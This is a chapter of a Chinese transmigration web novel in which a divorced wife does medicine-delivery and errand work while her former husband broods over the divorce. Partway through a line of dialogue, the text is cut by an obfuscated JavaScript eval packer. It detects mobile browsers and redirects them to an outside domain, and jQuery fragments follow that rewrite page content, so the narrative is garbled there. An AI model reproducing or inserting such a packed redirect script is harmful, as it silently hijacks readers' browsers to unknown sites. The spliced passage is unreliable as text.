33.浪荡的大娘子(5)

作品:《别丧了,起来当祖宗!(快穿)

    “你今日去哪了,怎么成了这般模样。”


    只让她去送个药而已,竟然送到半夜才回来,贺传雄心里早觉得不对劲。


    流冰海道:“没什么,帮宋家去烧几件衣服而已。”


    “烧衣服?”贺传雄一想,便知道是所为何事,忍不住劝道,“他们给了你多少银子?”


    流冰海把一串铜钱拿出来,放到床上。


    贺传雄蹙蹙眉,“那坟地怪的很,以后不要再去了。”


    废了好大力气,才又把她的骨头接好,流冰海疼的满脸冒汗,这回不像之前能忍住不叫,二次接骨比第一次接骨还要疼上十倍。


    她终于是耐不住了,哼哧的叫出了声,原本粉粉的一张小脸变的惨白,豆大的汗珠从额上滚滚落下,她咬着唇,两道细眉紧拧,还尽量忍着这呼之欲出的痛叫声。


    又痛又隐忍,让这张好看的脸蛋显得越发楚楚可怜。


    过了得有一柱香的时间,骨头才终于接好,流冰海已经痛的呼哧连连。


    贺传雄又看了看这个被废的女人。


    为了一串铜钱,做些命都不要的事,也是可怜。


    瞧她痛的上气不接下气,贺传雄于心不忍,道:“你若不嫌,就在这住着,我免了你银子就是,以后莫要为了银子伤害自己。”


    流冰海忍痛笑了笑。


    斗了一回小狼,倒是把张若尘给忘了几分,倒也算不上坏事。


    “那怎么行,白吃白喝我可干不来。”说完又道,“以后我小心些就是了。”


    ……


    一月后,流冰海的腿好的差不多,但是因为伤的太重,留了病根儿,天气稍微有点变化骨头就生疼。


    她依旧继续在药铺抓药,旁边立了个牌子:代煎送药,5个铜钱。


    意思就是,有人不方便取药煎药,可拿来方子,让她代煎,日日送到府上,每次5个铜钱。


    来抓药的看到牌子都低声议论,这张家大娘子被休了以后日子恐怕过的艰难,连跑腿儿煎药的事儿都乐得干。


    流冰海一边听着一边抓药,头也不抬。


    有人的确不方便自己煎药,便扔给她五个铜钱,留了地址,叫她煎好了送到府上。虽然也嫌弃她那浪荡身份,但是病人到底需要治病,这时候总是会少些顾忌。


    第一个吃螃蟹的人出现,便有了第二个,第三个,她日日在草房为那些人煎好药,然后挨个送上府。


    养了一个多月,腿好的差不多,用不着轮椅,她在街上走着,想着还是自己的腿比轱辘好使。


    包着一包药路过集市,总有人还在对她指指点点,事情过去了一个多月,该发酵的发酵,该沉沦的沉沦,恶言恶语的妇人倒是比从前少了许多,一群小孩又编了歌谣,瞧见她就围着唱。


    “小□□、小□□、断腿出墙丢人妇。”


    小孩声音朗朗的,听着发脆,凑在一起围着她唱。


    这么一唱,其余人也跟着哄笑起来,还有小孩偷出家里的鸡蛋往流冰海脸上砸。


    砸过去,一摊黄黄黏黏的液体顺着她的额头缓缓流下。


    流冰海抹了一把,回头看像那帮小孩。


    终究是一帮小孩,也不好拿刀捅他们□□。


    抹干净脸,继续抱着药往前走,后面的歌谣还在继续,簇拥着她不肯离开。


    这歌谣一唱就是好几天。


    但是反正也不能让人少块肉,流冰海听着那歌谣,挨家挨户送上药,然后再顺便问,还有什么需要的差事没。


    她把现代的跑腿业务搬到了古代,自己做起了“古代美团外卖”,帮人跑腿买买吃食衣物,总比闲的没事在草房里摊着强。


    她一边帮人煎药,一边做着跑腿业务,每天回到贺家的时候都天色微晚,一双病腿累的又胀又肿。


    有了大方脸的经验,她倒也不急,日日拿了个木桶,从药柜取些红花生姜,慢慢泡着,还好这里正是药铺,消肿散瘀的东西都齐全,中药的质量也是上乘。


    就是那鸡,一见她跟病秧子似的就立着个脖子,巴巴的看着她,一副气急败坏的样子。


    这日,流冰海又很晚才回来。


    给王家送药的时候,遭了些奚落。


    王家儿媳妇难产大出血后,身子骨一直差,都是贺传雄上门问诊开药,然后流冰海煎好了送到府上。


    这日,她又去送药,因为这批药煎的时候水量放的少,药有些糊,她便倒掉重新煎了一锅,去的时候有些晚了。


    扣开门,里面的小丫头嗔怪了一声:“怎么这么晚才来!”


    她道:“出了些状况,送晚了些。”


    小丫头瞧了瞧她,有些不满,但还是道:“进来吧。”


    流冰海便跟着她往里走,走着走着,听到里面一阵朗朗的笑声,清脆悦耳,跟风铃似的。


    她走进院内,正好看见那“风铃”的主人。


    “风铃”的主人也看见了她,神色一惊,红润的樱桃小嘴夸张的一开,尖叫道:“哎呦!这不是原先张家府上的大娘子,云可馨姐姐吗!”


    这话一听就带着讥讽,流冰海没想理。


    那人却不依不饶,向旁边扫了一眼,道,“云烟姐姐,快看,可是你府上昔日的姐姐啊。”


    流冰海这才看到,“风铃”旁边站着张若尘的妾室,冯云烟。


    这风铃,便是冯云烟娘家姨娘的妹妹,云悠。


    流冰海下意识地蹙了蹙眉。


    这王家怎么还和她们有牵扯。


    风铃像知道她怎么想的似的,快嘴道:“王家和我们冯家可是世交!”


    王家和冯家早先就有些生意往来,不过不是什么大户,不怎么被人熟知。


    流冰海抬头看了看冯云烟。


    多日不见,她越发标志,脸上是一个母亲特有的幸福,但年龄小,虽已是母亲,又不显得那么成熟,只是眼神中透着几分风韵,看起来颇具柔情。


    见到流冰海,冯云烟捅了捅伶牙俐齿的云悠,对流冰海道:“姐姐,多日未见,你可还好?”


    云悠嘴快道:“哎呦,人家有情郎又有贺公子帮衬着,怎能不好?”


    奚落之意满满,流冰海不放在心上。


    她不在意别人奚落,只是看到冯云烟,又不免想起张若尘,心中不是很快活。


    她对冯云烟点点头,“一切都好。”


    于是便想赶快把药送进去,然后离开这个是非之地。


    冯云烟道:“姐姐好就好,我和庄主都很惦记姐姐。”


    呵呵……是吗。


    流冰海没说什么。


    一旁的风铃又尖着嗓子道,“哎呀,我的云烟姐姐,她早就不是你姐姐了,你还跟她说什么客气话?”


    说完,摇摆着细细的腰肢,一步一步往流冰海面前扭去,边扭边乐呵呵的笑道,“我的馨儿姐姐啊,你还不知道吧,你们家张庄主,马上就要纳我家云烟姐姐为正室了。”


    当今,街头巷尾都在传着庄主要将室妾转为正室的事儿。


    她又怎会不知道?


    只是平日里,听见也当没听见罢了,今天突然见到冯云烟,看到她脸上情不自禁流露的幸福,流冰海心里还是隐隐的有些不对劲。


    这系统竟将原主的感情,原封不动的穿给了她,真是该死……


    她咬咬牙,忍着心里这突如其来的酸痛,抬头冷冷忘了一眼云悠,“是吗,那恭喜了。”


    风铃笑呵呵道,“是呢,不过呀……我也要提醒云烟姐姐。”


    她又扭着身子转回去,摇着扇子对冯云烟说,“做了庄主的正室,可要遵守三从四德,别做出什么败坏家风的事,让人打断了腿!”


    “云悠。”冯云烟小声道。


    风铃又笑呵呵的看着流冰海道,“你说是吧,馨儿姐姐。”


    呵……


    流冰海心里冷笑一声。


    没说什么,将手中的药递给王家的婢女,回身便走了。


    走了之后,还要给几个大户人家送东西,回到贺家的时候天已经擦黑,她拖着两条沉重的双腿倒在炕上,一言不发的在炕上歪了一会儿,脸色沉沉的,神情有些出怔。


    那鸡也一言不语的望着她。


    出了会儿神,流冰海挑起眼皮,看到那只鸡。


    真不知道,它是不是才是她老公。


    她撂下眼皮,又歇了会儿,拿出木桶放进热水和红花,接着泡脚。


    泡着泡着,想到和张若尘从前在一起的种种时光。


    虽不是她亲身经历,可穿到这个身体和这份感情里,就像是她亲身经历过一样。


    他对她极尽温柔的神色仿佛还在眼前。


    以后,他便是要纳云烟为正室了。


    流冰海想着想着,扯了下嘴角。


    也罢,她便省去了这份心,再也不替原主惦着这份原本就不值得的感情。


    ……


    张氏茶庄里,张若尘在和老梁品着新茶。


    茶叶都是从山上新采下来的,鲜嫩不已。


    满屋飘着茶香,老梁给张若尘斟上一杯茶,然后慢悠悠的说,“庄主,可选定了抬冯娘子为正室的日子?”


    张若尘抿了一口茶,缓缓道,“不急。”


    老梁笑了笑,“您不急,街上的人自是急的,都不知道从哪里听到了消息,纷纷议论此事呢。”


    “叫他们说去。”张若尘定着性子道。


    老梁缓了一会儿,瞧了瞧张若尘的表情,道,“庄主,可是还惦记着大娘子?”


    张若尘眉眼的锋利之色顿起,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952604|155684||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这里哪还有什么大娘子!”


    “是是是,老奴说错话了。”


    老梁叹了口气,打量了一会儿主子的心意。


    这主子他跟了多年,脾气秉性,自是了解的透彻。


    他嘴里说着满不在乎,心里未必对此事全然放下,到底是最要面子的一个男人,心思又重,如此严重的事情,哪是说过去就过去的。


    老梁抿了口茶,想了想,不知该不该开口说,眉里眼里全是犹豫。


    张若尘发现了他这心思,冷冷道,“有什么话便说!”


    老梁叹了口气,这才吞吞吐吐道,“老奴听说,那女人现在又是跑腿又是煎药,过的很是辛苦。”


    张若尘连眼皮都没抬,“那还不是她自找的!”


    “是。”老梁又道,“听说还替宋家去后山坟地烧了次衣服。”


    张若尘这才微微一怔,挑起眼皮,粗了蹙眉,“这种不要命的事也做?”


    “所以,看来日子真是难过。”


    日子再难过,也是她自作自受,与他何干。


    他低眉掀弄着茶叶,不言不语。


    老梁瞧着庄主的脸色不是很好,一时没敢再说什么。


    过了会儿,倒是张若尘主动问他。


    “可还听说了什么?”


    老梁这才又道:“听说,前几日在王家,她去送药,刚巧撞到冯娘子和她的妹妹冯云悠,那是遭了好大一场奚落。”


    “是牙尖嘴利那个冯云悠。”


    “是,就是她。”老梁道,“可是把云可馨给嘲弄了好一顿,听说她走的时候,脸色都是青的。”


    脸色青?


    可有他遭受背叛的时候更青?


    想到自己遭受的种种,张若尘重重的扣上茶杯,心里忽然忍不住一阵发痛。


    他爱她,敬她,宠她,她却要偷偷避孕,还与那莫名其妙的男人书信往来。


    她何时对的起他过,现如今遭受再多欺凌,也是活该。


    张若尘一时出神,没接老梁的话。


    老梁却觉得有一事不得不与庄主提,便又道:“庄主,听说前些日,她与展浩天见面来着。”


    张若尘心里咯噔一下,脸色顿时铁青。


    抬头看着老梁的眼神,像骨头里寒了冰,从里到外透着一股杀气。


    老梁急忙又道,“听说,她对那男人说,以后不要再见面了。”


    哦?


    张若尘眉头紧了紧,掀开茶盖,慢慢搅了一会儿茶叶后,将茶盖放到桌子上。


    “看样子,还算是有些良心,当初离府,兴许只是觉得没脸再面对您,老奴想着,既然她不再丢庄主的脸,不如就放她一马。”


    张若尘闻言抬头看着老梁,“怎么你以为,我会与她纠缠不休,置她于死地?”


    这声音透着寒冷,叫人闻而生畏。


    老梁半天没说话。


    过了好一会儿,老梁才道,“自她离开,正经差事找不到,在各处都遭奚落,可不是庄主在背后操控着?”


    张若尘手中茶杯顿了顿,面色沉着,没说什么。


    张若尘想起从前和云可馨相处的种种画面,脸色凝重的怔了片刻,不由得叹口气。


    他恨这个女人入骨,恨的肝肠寸断,痛不欲生。


    恨不得把她剁成块块鲜肉,丢去喂狼。


    但……再怎么恨,到底是爱过的。


    置于死地,他终究还做不出来。


    只要她以后安分守己,别再做什么出格的事,他便放她一马,算了……但她若与那男子继续,他怕真不知道能不能放过她……


    扣上茶杯,他对老梁冷冷道,“我怎会理她这种女人,对付她,便是脏了我的手。”


    说完,便想起她对那男人说,以后不要再见面。


    心里忽然恍了下神。


    恍完又觉得自己可笑。


    再怎么也是个败坏门风的□□。


    再如何改邪归正也难改的事实,还想她做什么。


    “前几日的新茶,叫云烟给你包些,带回去给家里人尝尝。”他对老梁说。


    说完走出前厅看着外面的天色。


    天都黑透了,心也是伤透了,这女人几乎毁了她的一切,嫁给他,却偷偷避孕,与那男人书信往来中篇篇都是污言秽语。


    真叫人恶心透顶。


    曾经,他爱她入骨,发誓要把这天下最好的东西都给她,她难过一点点,伤心一点点,哪怕有一丝一毫的闪失,他便心像刀剜似的痛。


    往后,这庄里便是云烟的天下了。


    想到这儿,张若尘有些怔愣。


    从未想过那日为了与她作对,娶回来的室妾,有一天会取代她的位置。


    人生,到底是造化弄人的吧……